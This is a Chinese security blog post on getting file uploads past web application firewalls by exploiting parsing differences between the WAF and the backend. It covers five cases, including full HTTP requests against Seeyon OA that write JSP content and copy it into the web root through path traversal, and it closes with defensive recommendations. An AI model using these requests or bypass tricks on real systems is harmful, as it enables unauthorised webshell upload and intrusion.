文件上传 - 利用后端与 WAF 的解析差异性实现绕过

一、 从“最后一步”的困境说起

在外网打点的攻防演练中,文件上传GetshellJava反序列化是两种最常见且最有效的突破口。然而,随着 WAF 技术的不断演进,文件上传这“最后一公里”变得愈发艰难。我们的恶意文件往往在抵达服务器之前,就被强大的 WAF 规则拦截在外。

面对这种困境,我们通常会尝试各种编码混淆、参数污染、分块传输等技术,但这些方法日益被现代 WAF 所免疫,属于“广撒网”式的攻击,效率低且容易被封禁。

这里主要想分享一种在文件上传中,不再局限于传统 WAF 的绕过方式,而是利用 WAF 与后端应用程序在 HTTP 请求解析上的“差异性”来实现绕过

二、 核心理念:WAF 与后端的“视角差”

要理解这种方法,首先需要明确 WAF 与后端应用的根本不同:

  1. WAF(通用安全产品)
  • 目标是为成千上万种不同的 Web 应用提供通用保护。
  • 为了性能和通用性,它通常采用一套标准化、相对严格的 HTTP 协议解析逻辑。
  • 它的视角是“规则的”、“理想的”。
  1. 后端应用(特定业务系统)
  • 由特定语言(Java/Python/PHP 等)和框架编写,有自己独特的业务逻辑。
  • 使用特定的库(如 Java 的HttpServletRequest,PHP 的$_FILES)来解析请求,这些库在处理非标准、畸形或模糊的请求时,行为可能与标准解析器不一致。
  • 它的视角是“实现的”、“现实的”。

攻击面由此产生:当 WAF 以一种方式理解请求,而后端以另一种方式理解同一请求时,就产生了“视角差”。攻击者可以精心构造一个请求,使得:

  • WAF 看到的:是一个无害、合法的请求。
  • 后端看到的:是一个包含恶意指令的请求。

这种差异可能出现在文件名、参数名、参数值、HTTP 头、编码格式乃至整个请求体的解析过程中。

三、WAF 的检测原理

常见的 WAF 主要是通过两种方式来进行识别

1.基于规则匹配

一般都是基于一定的正则语法进行匹配,例如匹配函数 concat(),而不会匹配字符 concat。而 MySQL里面concat函数调用的时候括号是可以被隔开的。例如 concat (),就可以绕过该正则

对于这种 WAF ,比较好的绕过方式就是通过大量的 fuzz 来从黑盒的角度来猜测 WAF 的正则语法

目的就是让WAF的解析引擎或者匹配引擎岀错,而对于实际业务后端来说又无影响可以正常执行

2.基于语义分析

将输入的内容模拟成真实语句运行,进而来判断结果是否有问题。可以类似于一个 webshell 检测引擎,如将 php 的 zend 引擎下执行命令的函数 hook 住,如果检测到该函数被调用,会先进入自己的逻辑判断是否符合恶意执行的逻辑,若符合则会进行拦截

对于这种语义分析的 WAF ,绕过会变的很困难,因为不再是对正则进行绕过。而是类似于对一个解析引擎进行黑盒测试的绕过,将其绕过后还要保证后端的真实解析引擎不出错。

所以也就无法使用像基于正则分析的 WAF 使用等价替换的手段进行绕过,需要通过WAF引擎与后端服务器引擎差异性来绕过

并且对于一些既有规则也存在语义分析的 WAF ,利用后端与WAF的解析差异性实现绕过文件上传相对来说可能更为有效

四、 实战案例详解:五种维度的差异性绕过

案例一:文件名解析差异

这是之前 hw 的时候遇到过一个目标,上传 123.111 、123.abc 等后缀均可以上传成功,所以可以判断是黑名单限制文件名,又因为目标是 java 的站点,于是上传 jsp ,这时候直接就是一个阿里云的 405 拦截

遇到这种情况一般就是字典去跑一下文件后缀名,因为既然是黑名单,就有很大概率会存在遗漏,但是很遗憾,正常的可能存在问题的文件后缀名是都被拦截

这时候就要说一下结合系统后端和 WAF 的差异性去绕过,比如:

汉王智慧门禁系统的某处上传功能,他的后端代码过滤文件名的特殊字符如:123.jsp.txt,然后后端代码就会把 123.jsp.txt 过滤为 123.jsp ,是以第一个.后面的内容作为文件后缀保存

但是现在很多 WAF 的拦截规则他都是识别文件后缀最后一个 . 识别的,123.jsp.txt 在WAF 的眼里可能就是一个正常的txt后缀文件,所以说利用这种差异性就可以绕过WAF

言归正传

这次的目标网站当然不是用这种方式绕过的,在不断 fuzz 的过程中,发现了一个有意思的文件名:

Filename="系统后端识别的文件名是

所以说利用这样的一个差异,最终也是成功上传了 jsp 文件

差异性:

简单来讲就是阿某云WAF识别文件名是以前两个双引号中包裹的内容作为文件名,而后端识别文件名是以第一个双引号和最后一个双引号中的内容作为文件名

如果你是上传 123.jsp"123.jsp ,那么 WAF 就会成功拦截

假设WAF与文件后端解析文件名的思路是相同的,那这个站的上传就很难绕过了

案例二:逻辑解析差异

这是之前在看某个公众号上发的文章提到的一个

场景说明:一个文件上传的点,有 Path 和 Filename 两个参数,Path 用来确定文件上传的位置,并且对 Filename 参数和 Path 参数做了很严格校验,路径穿越和可利用的后缀均不可以上传,且那个站还有 WAF

成功 Getshell:测试中发现它会将 Filename 参数直接拼接到 Path 路径后,最后绕过的方法是 Filename 参数置空,直接将上传的文件名拼接在 Path 路径后,发现最后也可以成功上传

差异性:

WAF 对文件后缀的校验只局限于 Filename 参数,而对于 Path 参数可能检测的多是特殊字符像常见的 .. 之类,你即使在 Path 中拼接,也会被 WAF 认为是业务自己所访问之类的,这就是他无法能够适配所有的后端解析规则,因为它永远不知道它的客户会用它去保护什么样的后端程序

案例三:全流量加解密差异

目标场景:SmartBi

提到 smartbi 是因为在今年 hw 的时候很多公众号在通报该系统的漏洞,然后当时就去复现了一下,在复现的时候我就发现了一个问题,那就是 smartbi 的所有传参都是进行过加密的,并且加密方式还很抽象

https://zone.huoxian.cn/d/2830-smartbi

编码规则:

加密:将原始字符串中的每个字符,在编码表(encode)中找到其位置,然后用码表(code)中相同位置的字符替换。
解密:将加密字符串中的每个字符,在码表(code)中找到其位置,然后用编码表(encode)中相同位置的字符替换。

如果某个字符在码表(code)中不存在,则解密时直接保留该字符

这种的后端代码是天然具备绕过 WAF 的能力,不论是文件上传还是其他类型的 web 端漏洞如 SQL 注入或者命令执行等,经过这样一串抽象加密后没有 WAF 能识别出来

并且响应包也是被加密过之后的,即使对于一些会检测响应内容的流量监测设备,也在很大程度上增加了分析的难度

差异性分析:

WAF 的困境:WAF 工作在明文流量层,面对一串毫无规律的加密数据,其基于正则、语义、语法分析的检测规则完全失效

后端的流程:后端程序先使用自定义算法解密请求,然后再将解密后的明文参数交给业务逻辑处理。对于后端来说,它只是在处理正常的业务数据。

案例四:重命名导致绕过 WAF

场景说明:可以上传文件,内容没有限制。可以移动文件,文件后缀不限,同时可以目录遍历。

拿致远 oa 代码审计中的一个例子来举例:

/seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager

可以上传文件,文件内容不限,文件名后端返回自动生成

POST /seeyon/ajax.do?method=ajaxAction&managerName=portalCssManager HTTP/1.1
Host: 192.168.183.167
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101
Firefox/86.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
RequestType: AJAX
Content-Length: 1794
DNT: 1
Connection: close
Cookie: JSESSIONID=7832BAD787FA215035C8625A22E536D3; loginPageURL=; login_locale=zh_CN

managerMethod=generateCssFileByCssStr&arguments=['%3c%25%3d%22%74%65%73%74%22%25%3e']
/seeyon/ajax.do?method=ajaxAction&managerName=cipSynSchemeManager

可以移动并重命名文件

POST /seeyon/ajax.do?method=ajaxAction&managerName=cipSynSchemeManager HTTP/1.1
Host: 192.168.183.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:86.0) Gecko/20100101
Firefox/86.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
RequestType: AJAX
Content-Length: 1794
DNT: 1
Connection: close
Cookie: JSESSIONID=44C60F1AE96C1D70FB7EBEA9297F8D95; loginPageURL=; login_locale=zh_CN

managerMethod=copyFile&arguments=["5702292406032945087","../../ApacheJetspeed/webapps/ROOT
/test.jsp"]

成功上传

体现到黑盒上就是如果系统存在重命名文件的功能,可能可以通过重命名白名单文件后缀为恶意文件后缀来达到 shell 的目的

差异性:

WAF 会对文件上传的包进行检测,但是只要在白名单文件后缀的文件内容中添加恶意内容,当重命名的时候 WAF 检测到不是文件上传格式的请求包,就不会对文件名再次进行检查,从而导致绕过

案例五:请求体解析差异

场景:致远 OA 后台文件上传

在之前在 hw 过程中遇到的一个目标,首先是通过弱口令获得一个普通用户的权限,但是后台已知的漏洞都已打补丁,并且目标存在阿里云 WAF

最后在复盘审计的时候,找到了一个后台文件上传

漏洞逻辑:
有一个 base64ToPdf 方法,作用是获取一个文件名以及一串 base64 编码后的图片,传入后端 base64 解码并校验文件格式是否正确,并且对于解码后的文件内容校验很严格,必须是一张有效的照片文件才可以,一张不可以显示的图片上传上去也无法触发漏洞,但是对于文件名以及路径没有校验,上传到可解析目录下后即可触发漏洞

后续去进行上传,发现可以绕过 WAF ,成功 Getsehll

差异性:

后端上传文件与正常文件上传的格请求包格式不同,WAF 对于该类请求包无法进行一个有效的过滤

并且对于分析内容的 WAF 来说,payload 藏匿在一张正常图片并经过 base64 编码,也很难检测

五、完善现有 CheckList :

可以在目前现有的 CheckList 上考虑增添以下几种情况:

  1. 对于上传文件时会带有 Path 和 Filename 参数的情况,确认不会存在" Filename 为空,文件名拼接在 Path 参数后也可以成功上传" 的情况
  2. Filename 参数处尝试通过闭合引号来检测后端对于该参数的校验是否正确
  3. 当存在重命名的功能的时候需要测试是否对重命名的文件名进行白名单过滤
  4. 对于上传文件的特殊请求包需要着重测试是否存在逻辑问题进而导致绕过

六、缺点:

  • 通用性极差

每个成功的绕过案例都严重依赖于特定 WAF 的特定解析逻辑与特定后端应用的特定解析实现之间的组合

  • 发现成本高,依赖深入 Fuzz 与分析

需要对 HTTP 协议各层面(如文件名、参数、头部等)进行大量、细致的 Fuzz 测试,试图“撞出”解析差异点

  • 在加密流量场景下的局限性

虽然加密流量 WAF 很难识别出来,但是对于攻击者来说如果无法逆向出加密方式,那就是一把双刃剑

七、总结与防御思考

1. 对红队(攻击方)的启示

  • 思路升级:从“如何混淆 Payload ”转变为“如何制造 WAF 与后端的解析差异”
  • Fuzz 新方向:Fuzz 方面需要对 payload 进行更加细致、微小的处理来碰撞出两者解析之前的差异性
  • 研究技术栈特性:深入了解目标系统使用的技术栈(如 Spring, Tomcat, Flask, Django ),研究其默认组件在处理畸形请求时的“特性”和“容错性”
  • 关注加密传输:将采用自定义加密类型系统单独归类,相对于正常来说更易绕过 WAF

2. 对蓝队与研发(防御方)的启示

  • 安全开发规范:在代码层面,对于文件上传的解析逻辑要求,避免引入自定义的、有歧义的解析逻辑
  • 严格的输入净化:对用户输入进行标准化和白名单验证。例如,文件名只允许 [a-zA-Z0-9_-] 字符和.后缀,并严格校验后缀名或者对于对文件名进行二次编码
  • 引入 RASP :在应用内部部署,运行时应用自我防护。RASP 能直接看到解密后、解析后的清晰上下文,因此能有效对抗这类基于流量加密的绕过
  • 流量标准化:在WAF之前部署一个“流量清洗”网关/模块,将非标准的、畸形的 HTTP 请求重写为标准格式,消除解析差异,让 WAF 能“看清”流量

八、结语

在攻防演练中,最有效的攻击往往源于对系统架构和底层逻辑的深刻理解,而非简单的工具或技巧堆砌,通过利用 WAF 与后端之间的“视角差”,我们能够实现更精准的绕过。

posted @ 2025-12-05 10:19  Zephyr07  阅读(29)  评论(0)    收藏  举报